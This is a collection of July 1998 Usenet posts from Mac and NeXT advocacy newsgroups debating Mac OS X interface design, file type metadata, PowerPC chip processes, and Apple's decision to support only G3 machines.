types. But once the type is known, it's a waste to have to check for the
file type every time the file is opened after that. That's why they made
file/creator types in the first place!
Or to put it another way: would you write a program that calculated out 8 *
7 EVERY TIME it needed that value? No; you would calculate it once, store
it in a variable, and then access it every time you needed. If the variable
was empty (unknown file type), you'd calculate it (determine file type),
store it (file type/creator), and then access it when you needed it.
> When the OS comes across an unknown file, it might present a list of
> likely applications that could open it.
Exactly. Like it does now. But once it figures out the application that
opens it, it STORES IT so it doesn't have to ask you again! Do you really
want to sacrifice hundreds of thousands of processor cycles calculating the
file type over and over again for the same file, just so you can regain 8
bytes of information?
> It won't entirely solve all the problems, but it could be better than what
> we deal with now in Windows and the Mac OS.
Ugh. No. Only if you don't care about your processor.
Hey, how about this one: every time a file is downloaded with an unknown
file type, it is given a blank type/creator. Then, during spare processor
cycles, the Mac would scan all files with a blank type/creator and
determine the correct file type. That way, when you get around to opening
the file, it will be correctly labelled. Does that solve the problem? It
seems more elegant than your proposed solution.
Andy Bates.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 28 Jul 1998 10:15:14 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R2807981015140001@news>
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <andyba-ya02408000R2407981101130001@news> <Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu> <6picpl$6pd@newsb.netnews.att.com> <Pine.SOL.3.96.980727170446.19424C-100000@ux7.cso.uiuc.edu>
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In article <Pine.SOL.3.96.980727170446.19424C-100000@ux7.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> On 27 Jul 1998 gupta@kcopsrm.tm.tta.moc-mirror wrote:
>
> > Pulsar <tokarek@uiuc.edu> wrote:
> > >
> > >Windows has the taskbar. While this isn't perfect, it is much more useful
> > >than the Macintosh application menu.
> >
> > Closing all the windows of an application in Windows makes the application
> > go away. The taskbar shows only the set of windows, and doesn't solve
> > the problem.
>
> It does to solve the problem since it provides the user a clear indication
> of what is running. If you close all Netscape Windows, the program is no
> longer running in Windows whereas if you close all the Netscape windows on
> the Mac OS, the program is _still_ running.
But the taskbar is not what solves the problem! The problem is solved by
the fact that, in Windows, Netscape quits when all of its active windows
are closed. If the Mac version of Netscape did this, then the problem would
be solved on the Mac side as well. It has nothing to do with the existence
of a taskbar.
> There is also an obvious
> indication that a program is still running since it gets a button on the
> task bar.
Only if there are open windows in the application! And even then, only if
there is room on the taskbar to tell which buttons are which. If you have
six or seven folders open, you can't really tell which button is which, and
a running application turns into a few letters and an ellipsis.
> You have to manually check the application menu on the Mac OS to
> see what's running.
>
> The taskbar is not perfect, but it does a better job than the Mac OS
> Application Menu.
What about a taskbar that listed which applications were open, instead of
which windows were open? Wouldn't that be more useful?
Surprise! It's in Mac OS 8.5. You can tear off the Application menu, and it
forms a little mini-taskbar. Sure, it's vertically-aligned instead of
horizontally aligned, but it's still a taskbar.
Now, what were you complaining about again? How Apple doesn't make
incremental changes to the OS? How Apple can't come up with UI
improvements?
Andy Bates.
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: New PowerPCs are announced
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 28 Jul 1998 18:09:04 GMT
Organization: University of Maryland, College Park
Message-ID: <6pl440$pim$1@hecate.umd.edu>
References: <6pior2$7s4@newsb.netnews.att.com> <6pjc1a$9c7$4@server.signat.org> <6pkvqp$h6j$1@server.signat.org>
Maury Markowitz (maury@remove_this.istar.ca) wrote:
: In <6pkqvl$5h0$1@hecate.umd.edu> David T. Wang wrote:
: > : It is a little odd, yes. The Motorola datasheet lists the older
: > : PPC 750s as "0.29 micron 5LM CMOS HiP 3.0" and the newer ones as
: > : "0.25 micron 5LM CMOS HiP 3.4".
: >
: > : The IBM datasheet for the older PPC 750s lists
: > : "0.25 micron/0.18 Leff - CMOS technology, five levels of metal".
: > : The core voltage is 2.5 - 2.75 V.
: >
: > I'm not sure, but it sounds like that this is just a migration to the
: > "Mach 5" process.
: Which is what exactly? Is the Mach5 the .25 process? Or is this a mixed
: 29/.25 process? I find much of this confusing. Are there any .18 process
: PPC's?
No, there are no 0.18um PPC's yet. The latest rumors are that it'll be
0.18um and copper in Mid 1999.
Mach 5 is the "0.25um" process found on the 300 and 350 MHz PPC604e's.
It was a much more aggressive process than the process used on the G3's.
IBM called both process "0.25um". But just scanning the rough description,
it was easy to tell that the "Mach 5" process was more advanced. This
migration is a minor event, It merely brought the PPC750 to the same
process as the PPC604e's from a year ago. (If my interpretation of the
underlying process is correct)
: Maury
From: "Jon G. Temple" <jontemple@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 28 Jul 1998 13:44:44 -0400
Organization: jontemple@earthlink.net
Message-ID: <35BE0DFF.C35B3E2F@earthlink.net>
References: <rmcassid-1307981232230001@dante.eng.uci.edu> <B1CFE637-1A286@206.165.43.144> <6oe63d$2r6$1@vixen.cso.uiuc.edu> <Jonas.Palm-1507981217060001@jp.orgk1.dial.lu.se> <6ot3cc$n4h$4@ironhorse.plsys.co.uk> <Jonas.Palm-2007981316580001@jp.orgk1.dial.lu.se> <MPG.101d0026256527109899cd@news.supernews.com> <kewldoc-2107981400410001@42.0.17.176.203.in-addr.arpa> <6parvv$7jf$1@hiram.io.com>
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To: Jeff Walther <trag@pentagon.io.com>
Absolutely lovely article that summarizes the danger of accepting Apple's new
policies.
Thanks for the read!
Jon
Jeff Walther wrote:
> In comp.sys.mac.system Henry C. Maglente <kewldoc@hotmail.com> wrote:
> > making promises that they knew they couldn't keep. Look at how many
> > product lines there were and it still didn't improve the user base. They
> > tried pleasing everyone and ended up pleasing no one.
>
> But they didn't have a nicely differentiated range of product lines
> with different features and functions. What they offered was more
> like a choice of handicaps.
>
> It's traditionally been Apple's philosophy to handicap all but the most
> hideously expensive machine that they offer. Consider the IIsi running
> at 20 MHz when it would have cost exactly the same amount for it to run
> at 25 MHz--it uses a IIci motherboard sans NuBus slots. Or the 6400
> home multi-media machine with only 1 MB of VRAM...and no expansion,
> unless you want to spring for an entire expensive PCI card. For about $10
> on the cost of a $1500-$2000 machine they could have included 2 MB
> of VRAM or a slot for more VRAM. Or the X2xx Performas with a 32 bit
> bus on a PPC machine.
>
> It wasn't the strategy of many product lines that failed. It was the
> products that failed.
>
> > its a risk that Apple seems to be willing to take. If they feel that they
> > can quickly provide a more superior OS on a superior machine (the G3) then
> > they should go do it. Forget the stagnant past. Move ahead in full-gear.
>
> It's not the stagnant past they are forgetting. It's the customers. And
> the G3 isn't a superior machine. Any X500 or X600 machine with a G3
> upgrade card will keep up with or beat the pants off of a G3 machine.
> Especially if you consider such things as disk performance and video.
>
> This isn't moving ahead. It's moving back into the past when if you
> wanted expandability and choice in your Mac then you were either out
> of luck or had to pay a premium of $2000-$3000 for it. Since Apple
> apparently doesn't plan to offer any machines with decent expandability
> it'll be the case that every tme you want a new feature you will just
> have to pay Jobs for a whole new machine. And you better not want a
> feature that he doesn't want to offer.
>
> > Users want computers with POWER. Apple has that with the G3 - now it needs
> > an OS to match that power. If Apple feels that delaying an OS just for the
> > sake of making some older computers run on it will delay their progress -
> > then FORGET the old computers. When next generation G3 computers come out,
> > who would want to run OS X on an old Tsunami Mac ? People will be so
> > impressed with the new OS and hardware, they'll forget the past.
>
> Pure speculation. I haven't seen anything proposed by Apple that is
> going to perform significantly better than a 9600 with a G3 card or
> a G4 card later. And it's hard to forget the past when such
> forgetfullness will cost you $3000 plus/minus $1500.
>
> And yes, users want computers with POWER, but Apple has traditionally
> refused to offer that and now we go back to those days. The G3 is a
> great chip. But Apple has been offering the same clock speeds for almost
> a year now with only minor decreases in price. Meanwhile, the upgrade
> cards for the soon to be abandoned X500 machines are moving ahead and have
> dropped in price by about 50%.
>
> > I for one think that Apple is headed in the right direction. Move forward.
> > Forget making decisions that will only stagnate the progress of the
> > company. Imagine how many people will move to the Mac platform because
> > they see the superior processor and OS. In today's competitive world, time
> > is of the essence. Apple doesn't have alot of time. They need to be there
> > when computer demand heats up again. Apple needs to make some big changes
> > and make alot of noise before they get lost in the sea of wintel machines.
>
> I agree that offering fast good machines at good prices and making
> a lot of noise about it is the way to go. But abandoning machines that
> are already fast and good and can keep up with any new offerings for
> a few more years is just a way to annoy formally loyal customers. If
> time is of the essence, then develop OS X for the G3 line first, but
> follow with compatibility for older machines. None of us knows what it
> would really cost or how long it would really take, but with the work
> already done on Rhapsody, I'm in the camp that thinks a couple of months
> at most.
>
> > All this whining about the new OS only supporting the G3's is reminiscent
> > of when Apple decided to dump the Apple IIgs and go totally with the Mac.
>
> It's not even faintly the same thing. The Apple II used a completely
> different processor than the original Mac. And the 680x0 machines you
> mention also use a different CPU. All of the code would ahve to be
> different to run on more than one processor. And then applications would
> all have to come in two flavors.
>
> All of the power macs use the PPC chip. All of the PPC chips since
> the PPC601 have the same instruction set. It's the instruction set
> that really defines compatibility of software across different
> CPU's. True, there's some relevant variation in motherboard
> logic, but the G3 power macs arent' going to stay the same forever
> either. That'll start changing soon too. And motherboard logic
> only affects how you write the OS (if it's written right) not how
> others write applications.
>
> The formula for Apple's success has always been to offer better machines
> at good prices. The G3 power macs are good machines and they're priced
> nicely. Surprise! They're wildly successful. Most of the Performa
> models that Apple offered were garbage. They didn't sell well. I
> don't think the problem was the confusing array of models. I don't think
> the buying public was as stupid as Apple thinks. I think they were
> smart. Apple's affordable models were flawed. They had slow busses
> or narrow busses or lousy video or no expansion options on a machine
> that was already stripped to the bone.
>
> What scares me about the appearance of Job's current policies is that
> it makes it easy for Apple to return to those former days when they
> offered us a bunch of affordable lousy models, or one really super
> expensive but decent model, and we had to pick one, or run a truly
> inferior OS. The first step on the path to returning to those days
> is to abandon all of the truly flexible and expandable machines Apple
> and the cloners sold us over the last couple of years.
From: ERASE.this.dennis.scp@multiweb.nl (Dennis SCP)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 28 Jul 1998 20:06:30 +0200
Organization: Mac OS 8 Icon Update 1.0
Message-ID: <1dcvpht.u9kpcn1dx3b1qN@hoorn38.multiweb.net>
References: <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981835050001@news> <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2307981115550001@news> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <andyba-ya02408000R2407981101130001@news> <Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu> <6pid6g$atl$1@bunyip.cc.uq.edu.au> <Pine.SOL.3.96.980727133724.966B-100000@ux5.cso.uiuc.edu> <joe.ragosta-2707981614150001@wil75.dol.net> <Pine.SOL.3.96.980727170056.19424B-100000@ux7.cso.uiuc.edu>
5iBX?hr:nQb&.MA|;6*WHFudDTiUxRJ'bCt|/F#Ct|'y_(I*Emh>1BP@cvz@pT]EiG%
Pulsar <tokarek@uiuc.edu> wrote:
> > Notice that Mac OS 8 came out about the time that 17" monitors started
> > replacing 15" monitors in large numbers.
>
> Oh pfft. The Macintosh has been used by graphics professionals for years.
> These people have had 19 and 21" monitors. For many years Apple didn't
> address this problem for a group that Apple has always been proud to have
> as an asset.
Please note that photoshoppers and visual creative folks use pen
tablets, meaning that it's not a trip to get to the menu, it's a real
timesaver that the menu is always in the same place plus that it doesn't
take up much screenspace. (I've even seen huge CAD tablets wich had
common symbols printed on the tablet)
Also note that the Apple mouse driver is accelerated, many don't notice
as it is quite slick, however I wish the top acceleration could be set
in a higher gear which would make a trip to the otherside of the screen
just a small flick of the wrist.
Dennis SCP
--
[MS Office Assistant: Uw signature is leeg. Weet u zeker dat u niets
nuttigs aan de mensheid heeft mede te delen?]
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com> <joe.ragosta-2207981217170001@wil79.dol.net> <6p5bhr$hm1$1@lwnws01.ne.highway1.com> <andyba-ya02408000R2307981134080001@news> <6pgjkh$1i1$4@lwnws01.ne.highway1.com> <35BC0EF4.D2D0F1C8@nstar.net> <22Vu1.7668$7k7.10422726@news.rdc1.sdca.home.com> <6pjb03$1jb@news1.panix.com> <35BD6B8B.7F9134BD@nstar.net>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <35be0690.0@nnrp1.news.uk.psi.net>
Date: 28 Jul 98 17:12:48 GMT
Michael Peck <mjpeck@nstar.net> wrote:
>Sal Denaro wrote:
>
>> Why not? That is exactly what you can do with NSInterfaceStyle. That is
>> exactly the motivation behind MacOS' InterfaceManager and Gnome's themes.
>> There are simple things that can be decided at run time that allow a GUI
>> to scale from 800*600 to 1600*1200 without having to change the Apps.
>
>You'll have to explain how this is so. Interchangeable graphics packs
>that alter the bitmapped appearance of widgets have exactly nothing to
>do with UI scalability, as far as I can tell. It's distressing that
>people seem to attach significance to "themes" when they amount to
>nothing more than your choice of sugar-coating.
I know little about MacOS' InterfaceManager and Gnome's themes, but the
NSInterfaceStyle defaults stuff permits far far more radical customisation
than simply changing images and drawing details.
For instance - it could easily control (though it didn't whn I last looked)
which library is loaded to handle the menu system - and thus completely
change it's behaviour!
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Window Shade: *please* make this go away
Date: Tue, 28 Jul 1998 18:30:21 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pl5bu$dr1$1@nnrp1.dejanews.com>
References: <6oqr65$ept$1@supernews.com> <stone-ya02408000R1807981951280001@news.enetis.net> <6pktoe$qhd$1@walter.cs.umd.edu>
seanl@cs.umd.edu (Sean Luke) wrote:
[Lots of good points about how poor a UI element windowshades are]
> What other option do you have? Well, NeXTSTEP (and most X window
> managers) miniaturize windows to small icons in the bottom of the screen.
> These icons do not have an application tier.
Mercifully, my understanding is that Rhapsody allows either windowshades or
NeXT-style iconization to be selected as a default by the user. I certainly
hope this choice is continued in Mac OS X.
> Windows does something
> similar, but puts them into a bar (actually, not a bad idea: geez, I can't
> believe I'm saying something nice about the company that makes you press
> control-alt-delete in NT in order to *log*in*).
Putting them in a bar isn't a bad idea, but then putting the bar across the
whole bottom of the screen is. Windows apps already gobble up lots of
vertical screen space with their menus and icon bars, and adding an
additional vertical bar with open windows just eats up some more. The result
is that I can only see a little bit of my documents, vertically. I complain
about the loss of vertical screen space resulting from the Mac's menu bar
(see all the early UI threads on vertical vs horizontal menus)-- the waste of
such space under Windows is simply horrendous.
The other problem I have with Windows' implementation of this idea is that
the absolute position of various miniaturized windows in the task bar is
constantly shifting as windows are opened and re-miniaturized. A tile which
might be at far left at one point may be at far right at another. This makes
getting at a given window needlessly difficult, since every time I need to
scan the entire task bar to find the one I want. Under NeXSTEP, tiles stay
put (and I can reposition them if I care to) making keeping track of them
easier.
> As I recall, this was a shareware feature that Apple really liked and
> moved into the general OS. How they could have mangled this one so badly
> is beyond me. It's a rare situation when I have to say that Apple's
> solution is worse than *everyone* else. NT, Linux, NeXTSTEP, Be. Ouch.
Agreed. Windowshades suck big time, and every one else's scheme is either
quite good or not as bad).
(And now, of course, we can both point to these posts when people accuse of
never saying anything bad about Apple.)
Stefano Pagiola spagiola@my-dejanews.com My opinions alone Longtime MacOS and
NeXTSTEP user, reluctant Windows 95/NT user, future Rhapsody user
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Newsgroups: comp.sys.next.advocacy
Subject: WOW
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From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 28 Jul 1998 13:56:15 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980728134225.28975A-100000@ux9.cso.uiuc.edu>
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On Tue, 28 Jul 1998, Andy Bates wrote:
> In article <Pine.SOL.3.96.980727170446.19424C-100000@ux7.cso.uiuc.edu>,
> Pulsar <tokarek@uiuc.edu> wrote:
>
> > It does to solve the problem since it provides the user a clear indication
> > of what is running. If you close all Netscape Windows, the program is no
> > longer running in Windows whereas if you close all the Netscape windows on
> > the Mac OS, the program is _still_ running.
>
> But the taskbar is not what solves the problem! The problem is solved by
> the fact that, in Windows, Netscape quits when all of its active windows
> are closed. If the Mac version of Netscape did this, then the problem would
> be solved on the Mac side as well. It has nothing to do with the existence
> of a taskbar.
You are misunderstanding what I'm trying to say. It is not the closing of
all windows quitting the program that is the solution. That is the
behavior forced by Windows' design. What solves the problem I'm talking
about is having the task bar.
It provides an immediate indication of what is running. There is a
parallel that can be drawn here. If you are going to be obtuse about this
and say that this is not exactly applicable to the situation on the Mac,
then go to blazes. I know its not exactly the same. It was an analogy and
like most analogies it is imperfect.
> > There is also an obvious
> > indication that a program is still running since it gets a button on the
> > task bar.
>
> Only if there are open windows in the application!
Look! I am _not_ defending Windows! Get off it! If you are going to strike
my argument down because Windows is crappy, then we have no further basis
for discussion.
There is an obvious parallel to what is done on Windows and what could be
done on the Mac. Buttons on a Mac task bar would not represent windows,
but applications. Duh! If all the windows of a Mac app were closed, the
task bar would still have a button for that app. It would provide
immediate feedback to the user that there is something still running.
Got it?
> And even then, only if
> there is room on the taskbar to tell which buttons are which. If you have
> six or seven folders open, you can't really tell which button is which, and
> a running application turns into a few letters and an ellipsis.
Don't take how it's done on Windows as the way it must be done on the Mac.
It could be fixed and done _better_ than Windows. Because Windows
implements it badly does not mean it's a bad concept.
> > You have to manually check the application menu on the Mac OS to
> > see what's running.
> >
> > The taskbar is not perfect, but it does a better job than the Mac OS
> > Application Menu.
>
> What about a taskbar that listed which applications were open, instead of
> which windows were open? Wouldn't that be more useful?
Well, duh. That's what I've been saying. You seem to be hung up on the
windows thing.
> Surprise! It's in Mac OS 8.5. You can tear off the Application menu, and it
> forms a little mini-taskbar. Sure, it's vertically-aligned instead of
> horizontally aligned, but it's still a taskbar.
>
> Now, what were you complaining about again? How Apple doesn't make
> incremental changes to the OS? How Apple can't come up with UI
> improvements?
If it's there in Mac OS 8.5 and it works well, that great. We do not have
it yet. You can knock off that smarmy questioning too.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 28 Jul 1998 14:04:46 -0500
Organization: Ericsson North America Inc.
Message-ID: <35BE20CE.8B8018B8@ericsson.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <MPG.101e43ebee3790959899d5@news.supernews.com> <MPG.101edc88c6da7b4a9899d6@news.supernews.com> <6p3d1m$mr6$1@camel18.mindspring.com> <6p443i$iom$1@nnrp1.dejanews.com> <MPG.10204e80816f66a69899e4@news.supernews.com> <6p6loq$ood$1@nnrp1.dejanews.com> <slrn6re6d9.32b.jason@jhste1.dyn.ml.org> <6p85r5$h40$1@nnrp1.dejanews.com> <35BDF088.8AE8204@earthlink.net> <35bdfb5a.0@news.depaul.edu> <35BE18EB.AA6609BE@earthlink.net>
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Jon G. Temple wrote:
> > And you would know this because...
>
> ...I think! Try it sometime! It's awesome! It keeps one from getting
> screwed by large companies like Apple.
Tsk, Jon. We all know that *government* is responsible for keeping us
from getting screwed. If everyone were expected to think, there would be
no time left for television.
MJP
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 28 Jul 1998 18:57:12 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pl6u8$ghv$1@nnrp1.dejanews.com>
References: <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981835050001@news> <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2307981115550001@news> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <andyba-ya02408000R2407981101130001@news> <Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu> <6pid6g$atl$1@bunyip.cc.uq.edu.au> <Pine.SOL.3.96.980727133724.966B-100000@ux5.cso.uiuc.edu> <6pjkir$6jb$1@bunyip.cc.uq.edu.au> <Pine.SOL.3.96.980728110556.17041H-100000@ux8.cso.uiuc.edu>
Pulsar <tokarek@uiuc.edu> wrote:
> On Tue, 28 Jul 1998, Christopher Smith wrote:
> > >NeXT had a solution to this kind of thing that sounds almost exactly like
> > >what you propose. There was the normal menu in a separate window that the
> > >user normally places on the top left, and when the user did a right-click,
> > >the contents of that menu were immediately available underneath the
> > >pointer.
> >
> > From what I remember of using a NeXT box (sorry if I'm not quite correct,
> > it's been a while :) the menu stayed present on the screen even after you
> > released the RMB - that would be very annoying.
>
> I don't quite remember the NeXT behavior either.
The menu brought up by the right-hand button only stays up as long as that
button is pressed. Release the button, and the menu goes away instantly.
This is very similar to what you say you want below, with the exception that
you don't have to click outside the menu to dismiss it -- it automatically
goes away as soon as you release the right-hand button.
> Here is what I think it should do (pay attention to the indentation):
> Have the menu sit where ever the user puts it (say at the top left
> corner).
> Right click
> Bring up a copy of the root menu under the pointer
> maneuver through menu heirarchy until you select something
> menu goes away so you're left only with the original top-left menu
> click outside the menu and it is dismissed
> continue working as normal
Stefano Pagiola spagiola@my-dejanews.com My opinions alone Longtime MacOS and
NeXTSTEP user, reluctant Windows 95/NT user, future Rhapsody user
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From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-F16B2w15HiKE@localhost>
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
References: <not-2307981027360001@ip-26-096.phx.primenet.com> <Pine.SOL.3.96.980723133426.10555A-100000@ux9.cso.uiuc.edu> <not-2307981300150001@ip-167-019.phx.primenet.com> <Pine.SOL.3.96.980723150745.6484A-100000@ux9.cso.uiuc.edu> <not-2407981240410001@ip-26-162.phx.primenet.com> <Pine.SOL.3.96.980724150050.26891B-100000@ux8.cso.uiuc.edu> <not-2407981816490001@ip-26-140.phx.primenet.com> <Pine.SOL.3.96.980725232001.7987D-100000@ux7.cso.uiuc.edu> <not-2607981725340001@ip-26-178.phx.primenet.com> <Pine.SOL.3.96.980726224322.27762B-100000@ux8.cso.uiuc.edu> <not-2707981327520001@ip-26-031.phx.primenet.com>
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Date: 28 Jul 1998 19:13:21 GMT
Organization: IBM.NET
On Mon, 27 Jul 1998 20:27:48, not@a.valid.email.add (Michael M.
Eilers) thought aloud:
> In article <Pine.SOL.3.96.980726224322.27762B-100000@ux8.cso.uiuc.edu>,
> Pulsar <tokarek@uiuc.edu> wrote:
>
> > I think Apple needs to get on the AGP bandwagon soon or it will be very
> > left behind. PCI is starting to be a real limitation. The available
> > bandwidth is not nearly so impressive anymore. A 64bit 66MHz PCI would be
> > fine except that there are already a bunch of good AGP cards out there now
> > with even better ones coming through the pipeline.
>
> What about Macs with a 80 MHz or 110 MHz PCI bus? I have a 60 MHz bus in
> my PowerCenter Pro and it drives PCI cards noticeably faster than the 50
> MHz bus in my 7500.
I see others already explained the PCI bus to you...
[sniii....iip]
>
> > It is a non-trivial job, but it is very far from an impossible task. What
> > Apple has already done since buying NeXT seems much more ambitious to me
> > than what they are planning for the next year or so. Granted Apple isn't
> > as big as it was, but it is also not in the same turmoil that it was last
> > year.
>
> I don't know enough about the nuts-and-bolts mechanics of writing an OS to
> work on a specific motherboard to comment on this, but I'll just repeat a
> comment I have made before: Apple did not make the decision to make OS X
> G3-only lightly. They know their own hardware and software better than
> anyone, and they know their internal economics and politics better than
> anyone. If they made the decision, they were the best-infomred people on
> the subject possible, so I'm not sure the peanut gallery (meaning us,
> Usenet) can really call it all into question so easily.
And how can you be so sure?
So, it'll be undoubtably easier to just code and test the advanced
upcoming w=FCnder-OS on the few G3 mainboards but no one's provided even
slightest piece of _evidence_ that it would be a difficult or draining
effort to support their own '97 designs. Apple of course remains quiet
about the whole issue.
For all I know Apple just wants to keep repeating the cool new
concepts "Mac OS X" and especially "G3" on which they have spent some
money advertising - as if this washed away all pre-G3 support memories
of the era when Jobs was a mere advisor to Amelio and not the Dear
Interim Leader of today.
Some folks here act as if they knew all the motives behind Apple's
moves, lecturing the disillusioned who don't share the same tinted
crystal ball. Alright, the New Apple can make no mistakes. Resistance
is futile - you will be obsoleted.
--
taiQ
[this space is intentionally blank]
From: stone@stoneentertainment.com (Kevin Stone)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Window Shade: *please* make this go away
Date: Tue, 28 Jul 1998 13:16:33 -0600
Organization: Stone Entertainment
Message-ID: <stone-2807981317080001@rc-pm3-1-33.enetis.net>
References: <6oqr65$ept$1@supernews.com> <stone-ya02408000R1807981951280001@news.enetis.net> <6pktoe$qhd$1@walter.cs.umd.edu>
In article <6pktoe$qhd$1@walter.cs.umd.edu>, seanl@cs.umd.edu (Sean Luke) wrote:
(snip)
Sean, I respect your opinion. But don't you find it a little backwards to
be complaining about the features that do exist, instead of complaining
about the ones that don't? The MacOS is the most functional GUI on the
planet. It is the only GUI that really allows you to organize your files
and work the way YOU want to work. Other GUI's constrain you to their own
limited set of features and a strict, sometimes confusing way of organzing
files.
Window Shade may not be a solution for miniturizing hundreds of windows.
But it is a convenient and USEFUL feature that most of us who use MacOS on
a daily basis wouldn't give up. The MacOS features other ways of
miniturizing windows such as Tabbed Widows... just drag a Finder window to
the bottom of the screen. And (as I believe you pointed out) there are
numerous third party extensions that take advantage of the open nature of
the MacOS to add miniturizing functionality in NeXT and Windows95/NT
styles.
Later,
--
-Kevin Stone
Stone Entertainment
www.StoneEntertainment.com
(no email please)
From: Triadmwest@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Why are Macs better?
Date: Tue, 28 Jul 1998 19:09:16 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pl7ks$hk2$1@nnrp1.dejanews.com>
References: <1998072421045300.RAA01111@ladder01.news.aol.com> <35b9158f.919536@news.mindspring.com> <35BBB5F1.165E3C5@NOSPAMnbnet.nb.ca> <Macghod-2607981933060001@sdn-ar-001casbarp068.dialsprint.net> <6pgrr9$81b$1@lwnws01.ne.highway1.com> <6pgsls$4pi$1@bunyip.cc.uq.edu.au> <jayfar-2707981139520001@dyn-103.blackbox-4.netaxs.com>
I have read as many of the posts to this thread as I have time to, so please
excuse me if I repeat something that has already been said.
I use a Mac at work and at home. At work we are using the fastest 9600s we
can get our hands on. I have no idea how fast they are running, because some
computer hardware literate type added "things" to them.
At home we have 3 Macs and a Compact that my wife was forced to buy because
the computer folks at her place of employment wouldn't believe she could use a
Mac to link to their system when she was home. I have tried her PC system and
do not like it one bit.
I also ride horses so I am going to use an analogy based on that.
Using her PC is like riding English - a lot of showy work to get to the same
place that someone riding Western also gets to with a lot less to remember,
and with a whole lot less effort. true, a Western saddle costs more than an
English saddle, but if you ever ride the same 40 miles in both, your body
will tell you the Western saddle is worth the extra money.
It might be interesting to note we are using a Mac at home so old
that it only uses big black discs and has never been worked on. Her Compact
has had to have the hard drive replaced, the CD ROM drive replaced, and
several other things I don't even understand. All this in a computer she
bought in November, 1997. I am using a Performa 6200CD with maxed out RAM at
home and a Color StyleWriter 2500, and have had no problems with it, other
than replacing the fax/modem card for something faster.
The real key issue here is: I really don't even understand 20% of
what is being said on this board, but I can use my Mac, and the ones at work.
What learning time I have is devoted to learning software usage like Quark or
Photoshop. I have neither the time, talent, or inclination to learn how
hardware works or how to fix it. Every time I have used my wife's PC, I
spend twice as much time just getting the d#*m thing to do what I want. And
the goofy file names drive me crazy.
My point? Macs are for users. PCs are for those who enjoy learning all the
crap required to work with them. I am not putting computer experts down, but
they need to realize that not all of us care how it works - we just want it to
work, and with a minimum learning curve.
